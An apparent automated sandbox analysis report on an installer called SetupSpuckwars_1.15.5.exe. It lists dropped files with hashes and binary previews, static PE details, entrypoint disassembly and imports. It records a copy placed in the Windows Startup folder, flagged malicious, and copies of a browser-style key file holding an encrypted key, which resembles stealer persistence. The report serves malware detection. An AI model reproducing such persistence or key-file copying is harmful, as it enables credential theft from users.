                                                                                                                                  SSDEEP:3072:qqgtKzy7vqUSMd+5ZTR4ymbsLIniZiYIU+gTh3WOdvmttow2LyZDvooPmdZwmNgi:lgEzy2NTROsLftIU+gTQ4E2ro+dOmp
                                                                                                                                  MD5:A373D83D4C43BA957693AD57172A251B
                                                                                                                                  SHA1:8E0FDB714DF2F4CB058BEB46C06AA78F77E5FF86
                                                                                                                                  SHA-256:43B58CA4057CF75063D3B4A8E67AA9780D9A81D3A21F13C64B498BE8B3BA6E0C
                                                                                                                                  SHA-512:07FBD84DC3E0EC1536CCB54D5799D5ED61B962251ECE0D48E18B20B0FC9DD92DE06E93957F3EFC7D9BED88DB7794FE4F2BEC1E9B081825E41C6AC3B4F41EAB18
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:.........K..11.0.226.20-electron.0..............................................`....f..8...........h...a........a........aT.......ar.......a........a..............a.D.q..........`$.........D.u..........`$.......D.y..........`$.......u.D.}..........`$.........D............`D.........D............`$.......=.D............`$.......D............`$.......D............`$.........D............`$.......D............`$......ID............`$.......D............`$.......D............`$....(Jb....D.....@..F^.!..%.`.....(Jb....H.....@..F^..`.....H...IDa........D`....D`....D`.......`.....D]...D....D`......VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa............L.................................................................................................................................................................

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\vk_swiftshader.dll

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):5209088
                                                                                                                                  Entropy (8bit):6.329767466271418
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:49152:tG7ixZvPbWjIXTFy1RYQZHJvuZBiDTwgvsrt5/PXd0kpmaN+WUf4CvB25zT7RCAq:c7iDPqjvzO1Lhgf49zT7grg4
                                                                                                                                  MD5:A0845E0774702DA9550222AB1B4FDED7
                                                                                                                                  SHA1:65D5BD6C64090F0774FD0A4C9B215A868B48E19B
                                                                                                                                  SHA-256:6150A413EBE00F92F38737BDCCF493D19921EF6329FCD48E53DE9DBDE4780810
                                                                                                                                  SHA-512:4BE0CB1E3C942A1695BAE7B45D21C5F70E407132ECC65EFB5B085A50CDAB3C33C26E90BD7C86198EC40FB2B18D026474B6C649776A3CA2CA5BFF6F922DE2319B
                                                                                                                                  Malicious:false
                                                                                                                                  Antivirus:
                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                  Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...>..d.........." ......?..........&8...................................... Q...........`A........................................X.J.~.....J.P.....P.......N..c............P..}....J.....................h.J.(...@.?.8...........x.K.P............................text...".?.......?................. ..`.rdata..$.....?.. ....?.............@..@.data...`.....K.......K.............@....pdata...c....N..d...\M.............@..@.00cfg..(.....P.......N.............@..@.gxfg...`,... P.......N.............@..@.retplne\....PP.......N..................tls....Q....`P.......N.............@....voltbl.8....pP.......N................._RDATA........P.......N.............@..@.rsrc.........P.......N.............@..@.reloc...}....P..~....N.............@..B........................................................................................................................................

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\vk_swiftshader_icd.json

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:JSON data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):106
                                                                                                                                  Entropy (8bit):4.724752649036734
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:3:YD96WyV18tzsmyXLVi1rTVWSCwW2TJHzeZ18rY:Y8WyV18tAZLVmCwXFiZ18rY
                                                                                                                                  MD5:8642DD3A87E2DE6E991FAE08458E302B
                                                                                                                                  SHA1:9C06735C31CEC00600FD763A92F8112D085BD12A
                                                                                                                                  SHA-256:32D83FF113FEF532A9F97E0D2831F8656628AB1C99E9060F0332B1532839AFD9
                                                                                                                                  SHA-512:F5D37D1B45B006161E4CEFEEBBA1E33AF879A3A51D16EE3FF8C3968C0C36BBAFAE379BF9124C13310B77774C9CBB4FA53114E83F5B48B5314132736E5BB4496F
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:{"file_format_version": "1.0.0", "ICD": {"library_path": ".\\vk_swiftshader.dll", "api_version": "1.0.5"}}

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\vulkan-1.dll

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):920576
                                                                                                                                  Entropy (8bit):6.556557427650666
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:24576:PR9nl1crwjLAQw6Z5WUDYsH56g3P0zAk7:PR1l1culw6Z5WUDYsH56g3P0zAk7
                                                                                                                                  MD5:0E4E0F481B261EA59F196E5076025F77
                                                                                                                                  SHA1:C73C1F33B5B42E9D67D819226DB69E60D2262D7B
                                                                                                                                  SHA-256:F681844896C084D2140AC210A974D8DB099138FE75EDB4DF80E233D4B287196A
                                                                                                                                  SHA-512:E6127D778EC73ACBEB182D42E5CF36C8DA76448FBDAB49971DE88EC4EB13CE63140A2A83FC3A1B116E41F87508FF546C0D7C042B8F4CDD9E07963801F3156BA2
                                                                                                                                  Malicious:false
                                                                                                                                  Antivirus:
                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                  Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...>..d.........." .....l................................................................`A............................................<!..T...P...............pn..............<...Tn......................8m..(...@...8............................................text....k.......l.................. ..`.rdata..4............p..............@..@.data....L...P... ...6..............@....pdata..pn.......p...V..............@..@.00cfg..(...........................@..@.gxfg... (... ...*..................@..@.retplne\....P...........................tls.........`......................@....voltbl.8....p.........................._RDATA..............................@..@.rsrc...............................@..@.reloc..<...........................@..B........................................................................................................................................

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\System.dll

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):12288
                                                                                                                                  Entropy (8bit):5.719859767584478
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:192:1enY0LWelt70elWjvfstJcVtwtYbjnIOg5AaDnbC7ypXhtIj:18PJlt70esj0Mt9vn6ay6
                                                                                                                                  MD5:0D7AD4F45DC6F5AA87F606D0331C6901
                                                                                                                                  SHA1:48DF0911F0484CBE2A8CDD5362140B63C41EE457
                                                                                                                                  SHA-256:3EB38AE99653A7DBC724132EE240F6E5C4AF4BFE7C01D31D23FAF373F9F2EACA
                                                                                                                                  SHA-512:C07DE7308CB54205E8BD703001A7FE4FD7796C9AC1B4BB330C77C872BF712B093645F40B80CE7127531FE6746A5B66E18EA073AB6A644934ABED9BB64126FEA9
                                                                                                                                  Malicious:false
                                                                                                                                  Antivirus:
                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr*.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L....~.\...........!....."...........).......@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.......*..............@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\app-64.7z

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:7-zip archive data, version 0.4
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):68980524
                                                                                                                                  Entropy (8bit):7.999994429091671
                                                                                                                                  Encrypted:true
                                                                                                                                  SSDEEP:1572864:erziNx5qczZbE8KEPa95WKcck0k7zX1PXLrjBNQzTW1wFNITL:hx5qczZcEyeKcpTzZXLHBNQG1MITL
                                                                                                                                  MD5:1BF15A0B1FF008A2AF2F24CD8FECC940
                                                                                                                                  SHA1:B4B6E3FDC8C253E3602633F1243177C6C9A4AAAE
                                                                                                                                  SHA-256:C355DF9D55B2020F3240E401C270E98A0EDE904009EEECFA04A7160B8022C55D
                                                                                                                                  SHA-512:36C6918161E8A49FB1A84E411E14D82FAED029C811F940DF775A02F0A198588C7FF1A9960E72F10A52AF95F2409C1211569E08E53772BB4ED7680AC68E13771A
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:7z..'.....oi.......%.........S......]...6...#k.![y.`.Gr#.f..F.....c}.R|..j=...,._..z..gC5Q.j...7S.:0`..o..^.._e....0.....K....T).XS.CPP'....B...&...<..f........`".U01o...QI.3i.].vD.d9...V...>%.+..5...~M.,.[.....q..1..../.&.h...4;!<..-O......4r......8..a.\I....=...!NNs.QB.."..M?....J..D...bvy....u#.:,..y..5T^.&'% !"....-...u<kJ..;..9..X6....v..b...T.9u..#.v.(l....n.......v...ZE.i...uEcGJ!c+.;...Z.n.:.0...-...!..$...^l-`A%kX<..,.....2...........^....a...L...s.x..RN.w..]@;~ymo:J.....i..M......h..Z.nL...........J}J.. .l...O...[5.>.5........;....o..up..1.N4H9.K..es....l.(.-W=(z.OR.|r .k.......\.?}.ua..L.~..'K).&...iIAoe...u.. ...Z.f../8P.....H._.!........@_.S..m.*F....g....-....i.:&i..h.n..6&..H.}..!.T...e....S.........$.....Sazv...[.W9+.A..}P^.p........uFh..\o...Ft...$.p..-.....:).......g\...&>.^.<..!8N.@mmC....?.Q.(.]t....8.i.........!fh..dd....)...eL.L`.a..Z1hD.$.j..[Fz..I..b.C.|...._\.w$..5.rB.+....B..&!....i..J..8..7..u..x.h...?......!p.

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\nsis7z.dll

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):434176
                                                                                                                                  Entropy (8bit):6.584811966667578
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:6144:aUWQQ5O3fz0NG3ucDaEUTWfk+ZA0NrCL/k+uyoyBOX1okfW7w+Pfzqibckl:an5QEG39fPAkrE4yrBOXDfaNbck
                                                                                                                                  MD5:80E44CE4895304C6A3A831310FBF8CD0
                                                                                                                                  SHA1:36BD49AE21C460BE5753A904B4501F1ABCA53508
                                                                                                                                  SHA-256:B393F05E8FF919EF071181050E1873C9A776E1A0AE8329AEFFF7007D0CADF592
                                                                                                                                  SHA-512:C8BA7B1F9113EAD23E993E74A48C4427AE3562C1F6D9910B2BBE6806C9107CF7D94BC7D204613E4743D0CD869E00DAFD4FB54AAD1E8ADB69C553F3B9E5BC64DF
                                                                                                                                  Malicious:false
                                                                                                                                  Antivirus:
                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......L.6a..X2..X2..X2m.[3..X2m.]3..X2Z.]3+.X2Z.\3..X2Z.[3..X2m.\3..X2m.Y3..X2..Y2..X2..\3#.X2..]3..X2..X3..X2...2..X2...2..X2..Z3..X2Rich..X2........PE..L.....\...........!......................... ...............................@............@..........................6.......7..d................................E.....................................@............ ...............................text............................... ..`.rdata..8"... ...$..................@..@.data........P... ...6..............@....rsrc................V..............@..@.reloc...E.......F...Z..............@..B........................................................................................................................................................................................................................................................................................

                                                                                                                                  C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exe

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                                  File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                  Category:modified
                                                                                                                                  Size (bytes):162028032
                                                                                                                                  Entropy (8bit):6.733467572611259
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:1572864:mCquurbtqKajQe7vqrTU4PrCsdCXrBngPE1cG7VOWe2IkBmUgq3Fd6iU3x6VCdbm:8DAgZi
                                                                                                                                  MD5:6DE6C1C8E6ECD92A94595EBC1189C2B2
                                                                                                                                  SHA1:A9D5129A026FF6232C827281294466F7C0E5E3F2
                                                                                                                                  SHA-256:3F4BBC554C95E66A418A835FA55D1CDA8A48CFE25D7323F4D92693DE2FAEF245
                                                                                                                                  SHA-512:C518F1E3D4EDB1A3E41F0D8C9A31D17C0F6997F1638D8CAD3D6F7167A5D4020D0A467EE3919BDA6B0AE902A914F1D4E354E6F22042FC4D167C674BE853FBE95A
                                                                                                                                  Malicious:true
                                                                                                                                  Antivirus:
                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                  Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...>..d.........."......v.....................@..........................................`...........................................D.od..e.H.T............p..,.@.............`.....:.......................:.(...`...8...........P,H......iD......................text....u.......v.................. ..`.rdata...`k......bk..|..............@..@.data....bE...L.......K.............@....pdata..,.@..p....@...V.............@..@.00cfg..(............J..............@..@.gxfg....B.......B...L..............@..@.retplne.....`...........................rodata......p...................... ..`.tls................................@....voltbl.R...............................CPADinfo8...........................@...LZMADEC............................. ..`_RDATA..............................@..@malloc_h............................ ..`.rsrc...............................@..@.reloc..`.......

                                                                                                                                  C:\Users\user\AppData\Roaming\spuckwars\8341ceb7-5aec-45d7-8909-52906715f0fd.tmp

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                                  File Type:JSON data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):389
                                                                                                                                  Entropy (8bit):5.62971490976548
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:12:YKWSg99rrt+gRWqCOpyHT8Z04dxmhqJquyOcR/YWV:YKWfrrt/tdpm8S4dxm+quylZJ
                                                                                                                                  MD5:137FD1C4A5EC3B4A1D0AE33CF84D8FE7
                                                                                                                                  SHA1:856803DDD2EE4E6C21BDB35DD26D9553BD9DB8CF
                                                                                                                                  SHA-256:E23FFA2B4B1243D0724E18A1C27DF1039FB7327B3A7D6C63888AF153B970BC3B
                                                                                                                                  SHA-512:4F5204F40C7E2E69728DB0A25B4653D83D75B6337C09F36BFEC4F5EDEB8A308C0DF8CE33522A9A6E8D8E2468A24F82491AD821A16109648492A935CE2C397581
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:{"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAK2u3DjoJtSLX/D6vtm0MOAAAAAAIAAAAAABBmAAAAAQAAIAAAAD8UOk4iBL9wqhRsGT2wGO78wU9J8XuaR5mszDeb62qMAAAAAA6AAAAAAgAAIAAAAOtg4mnfxXd2S/zcUpqYIsG9B0w3+nqD/i6PW6cg9aOnMAAAAHUH3+avD7Lo3Oe90hA6ZEVzxyBV6o+QLPdiLacHIYLzPL3H1u7E5fwTdBO8/Q2n9kAAAAAf4DSSYP0FZ91ngX5SnsMHKzKsGDWBx6jHAdFWDLWbOYVZ4cjJ81fVHs1Urb4Y2T7/5QZmBusp2Niw8ZKQyJ+4"}}

                                                                                                                                  C:\Users\user\AppData\Roaming\spuckwars\Local State (copy)

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                                  File Type:JSON data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):389
                                                                                                                                  Entropy (8bit):5.62971490976548
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:12:YKWSg99rrt+gRWqCOpyHT8Z04dxmhqJquyOcR/YWV:YKWfrrt/tdpm8S4dxm+quylZJ
                                                                                                                                  MD5:137FD1C4A5EC3B4A1D0AE33CF84D8FE7
                                                                                                                                  SHA1:856803DDD2EE4E6C21BDB35DD26D9553BD9DB8CF
                                                                                                                                  SHA-256:E23FFA2B4B1243D0724E18A1C27DF1039FB7327B3A7D6C63888AF153B970BC3B
                                                                                                                                  SHA-512:4F5204F40C7E2E69728DB0A25B4653D83D75B6337C09F36BFEC4F5EDEB8A308C0DF8CE33522A9A6E8D8E2468A24F82491AD821A16109648492A935CE2C397581
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:{"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAK2u3DjoJtSLX/D6vtm0MOAAAAAAIAAAAAABBmAAAAAQAAIAAAAD8UOk4iBL9wqhRsGT2wGO78wU9J8XuaR5mszDeb62qMAAAAAA6AAAAAAgAAIAAAAOtg4mnfxXd2S/zcUpqYIsG9B0w3+nqD/i6PW6cg9aOnMAAAAHUH3+avD7Lo3Oe90hA6ZEVzxyBV6o+QLPdiLacHIYLzPL3H1u7E5fwTdBO8/Q2n9kAAAAAf4DSSYP0FZ91ngX5SnsMHKzKsGDWBx6jHAdFWDLWbOYVZ4cjJ81fVHs1Urb4Y2T7/5QZmBusp2Niw8ZKQyJ+4"}}

                                                                                                                                  Static File Info

                                                                                                                                  General

                                                                                                                                  File type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                                                                                                                  Entropy (8bit):7.999986303528532
                                                                                                                                  TrID:
                                                                                                                                  • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                                                                                  • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                                                  • DOS Executable Generic (2002/1) 0.02%
                                                                                                                                  • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                  File name:SetupSpuckwars_1.15.5.exe
                                                                                                                                  File size:69'319'004 bytes
                                                                                                                                  MD5:320696b6328d7d82817da50697fcb673
                                                                                                                                  SHA1:9cae6fdf42dda5ecc2c3a84c24488c132dc2f11c
                                                                                                                                  SHA256:3b83e25ec4dec28c78cf89ae94e007e1928f09a3618b3b653f960d07c9e485b2
                                                                                                                                  SHA512:fea8232e7bfb53cf3462c2be20015abb13a00786cb56b3a24d92052dc87c58e9b09b78f5da6980b6733e545be2398e57e146514d1491633a5f3b80745355e882
                                                                                                                                  SSDEEP:1572864:drziNx5qczZbE8KEPa95WKcck0k7zX1PXLrjBNQzTW1wFNITN7:4x5qczZcEyeKcpTzZXLHBNQG1MITN7
                                                                                                                                  TLSH:0BE73399FE6BCC37ED0664FF5981E03328C8E104C656E559908140AF3626EFBD292DF9
                                                                                                                                  File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf.*_9..Pf..Pg.LPf.*_;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L......\.................h...8...@.

                                                                                                                                  File Icon

                                                                                                                                  Icon Hash:3d2e0f95332b3399

                                                                                                                                  Static PE Info

                                                                                                                                  General

                                                                                                                                  Entrypoint:0x40338f
                                                                                                                                  Entrypoint Section:.text
                                                                                                                                  Digitally signed:false
                                                                                                                                  Imagebase:0x400000
                                                                                                                                  Subsystem:windows gui
                                                                                                                                  Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                                                                                                  DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                                                                                                  Time Stamp:0x5C157F86 [Sat Dec 15 22:26:14 2018 UTC]
                                                                                                                                  TLS Callbacks:
                                                                                                                                  CLR (.Net) Version:
                                                                                                                                  OS Version Major:4
                                                                                                                                  OS Version Minor:0
                                                                                                                                  File Version Major:4
                                                                                                                                  File Version Minor:0
                                                                                                                                  Subsystem Version Major:4
                                                                                                                                  Subsystem Version Minor:0
                                                                                                                                  Import Hash:b34f154ec913d2d2c435cbd644e91687

                                                                                                                                  Entrypoint Preview

                                                                                                                                  Instruction
                                                                                                                                  sub esp, 000002D4h
                                                                                                                                  push ebx
                                                                                                                                  push esi
                                                                                                                                  push edi
                                                                                                                                  push 00000020h
                                                                                                                                  pop edi
                                                                                                                                  xor ebx, ebx
                                                                                                                                  push 00008001h
                                                                                                                                  mov dword ptr [esp+14h], ebx
                                                                                                                                  mov dword ptr [esp+10h], 0040A2E0h
                                                                                                                                  mov dword ptr [esp+1Ch], ebx
                                                                                                                                  call dword ptr [004080A8h]
                                                                                                                                  call dword ptr [004080A4h]
                                                                                                                                  and eax, BFFFFFFFh
                                                                                                                                  cmp ax, 00000006h
                                                                                                                                  mov dword ptr [0047AEECh], eax
                                                                                                                                  je 00007F37BCD1CA03h
                                                                                                                                  push ebx
                                                                                                                                  call 00007F37BCD1FCB5h
                                                                                                                                  cmp eax, ebx
                                                                                                                                  je 00007F37BCD1C9F9h
                                                                                                                                  push 00000C00h
                                                                                                                                  call eax
                                                                                                                                  mov esi, 004082B0h
                                                                                                                                  push esi
                                                                                                                                  call 00007F37BCD1FC2Fh
                                                                                                                                  push esi
                                                                                                                                  call dword ptr [00408150h]
                                                                                                                                  lea esi, dword ptr [esi+eax+01h]
                                                                                                                                  cmp byte ptr [esi], 00000000h
                                                                                                                                  jne 00007F37BCD1C9DCh
                                                                                                                                  push 0000000Ah
                                                                                                                                  call 00007F37BCD1FC88h
                                                                                                                                  push 00000008h
                                                                                                                                  call 00007F37BCD1FC81h
                                                                                                                                  push 00000006h
                                                                                                                                  mov dword ptr [0047AEE4h], eax
                                                                                                                                  call 00007F37BCD1FC75h
                                                                                                                                  cmp eax, ebx
                                                                                                                                  je 00007F37BCD1CA01h
                                                                                                                                  push 0000001Eh
                                                                                                                                  call eax
                                                                                                                                  test eax, eax
                                                                                                                                  je 00007F37BCD1C9F9h
                                                                                                                                  or byte ptr [0047AEEFh], 00000040h
                                                                                                                                  push ebp
                                                                                                                                  call dword ptr [00408044h]
                                                                                                                                  push ebx
                                                                                                                                  call dword ptr [004082A0h]
                                                                                                                                  mov dword ptr [0047AFB8h], eax
                                                                                                                                  push ebx
                                                                                                                                  lea eax, dword ptr [esp+34h]
                                                                                                                                  push 000002B4h
                                                                                                                                  push eax
                                                                                                                                  push ebx
                                                                                                                                  push 00440208h
                                                                                                                                  call dword ptr [00408188h]
                                                                                                                                  push 0040A2C8h

                                                                                                                                  Rich Headers

                                                                                                                                  Programming Language:
                                                                                                                                  • [EXP] VC++ 6.0 SP5 build 8804

                                                                                                                                  Data Directories

                                                                                                                                  NameVirtual AddressVirtual Size Is in Section
                                                                                                                                  IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                  IMAGE_DIRECTORY_ENTRY_IMPORT0x86100xa0.rdata
                                                                                                                                  IMAGE_DIRECTORY_ENTRY_RESOURCE0x10b0000xcf0.rsrc
                                                                                                                                  IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                  IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                  IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                                                                  IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                                  IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                  IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                  IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                  IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                  IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                  IMAGE_DIRECTORY_ENTRY_IAT0x80000x2b0.rdata
                                                                                                                                  IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                  IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                  IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                  Sections

                                                                                                                                  NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                  .text0x10000x66270x68007618d4c0cd8bb67ea9595b4266b3a91fFalse0.6646259014423077data6.450282348506287IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                  .rdata0x80000x14a20x1600eecac1fed9cc6b447d50940d178404d8False0.4405184659090909data5.025178929113415IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                  .data0xa0000x70ff80x600db8f31a08a2242d80c29e1f9500c6527False0.5182291666666666data4.037117731448378IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                  .ndata0x7b0000x900000x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                  .rsrc0x10b0000xcf00xe00b73dbffdb9eefdf9c20fde49b7c0c305False0.41573660714285715data4.240673999609037IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                                                                                  Resources

                                                                                                                                  NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                  RT_ICON0x10b1d80x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 640EnglishUnited States0.42473118279569894
                                                                                                                                  RT_DIALOG0x10b4c00x100dataEnglishUnited States0.5234375
                                                                                                                                  RT_DIALOG0x10b5c00xf8dataEnglishUnited States0.6330645161290323
                                                                                                                                  RT_DIALOG0x10b6b80x60dataEnglishUnited States0.7291666666666666
                                                                                                                                  RT_GROUP_ICON0x10b7180x14dataEnglishUnited States1.2
                                                                                                                                  RT_VERSION0x10b7300x280dataEnglishUnited States0.459375
                                                                                                                                  RT_MANIFEST0x10b9b00x33eXML 1.0 document, ASCII text, with very long lines (830), with no line terminatorsEnglishUnited States0.5542168674698795

                                                                                                                                  Imports

                                                                                                                                  DLLImport
                                                                                                                                  KERNEL32.dllSetEnvironmentVariableW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, SetCurrentDirectoryW, GetFileAttributesW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, ExitProcess, GetShortPathNameW, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalLock, GlobalUnlock, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
                                                                                                                                  USER32.dllGetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
                                                                                                                                  GDI32.dllSelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
                                                                                                                                  SHELL32.dllSHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
                                                                                                                                  ADVAPI32.dllAdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
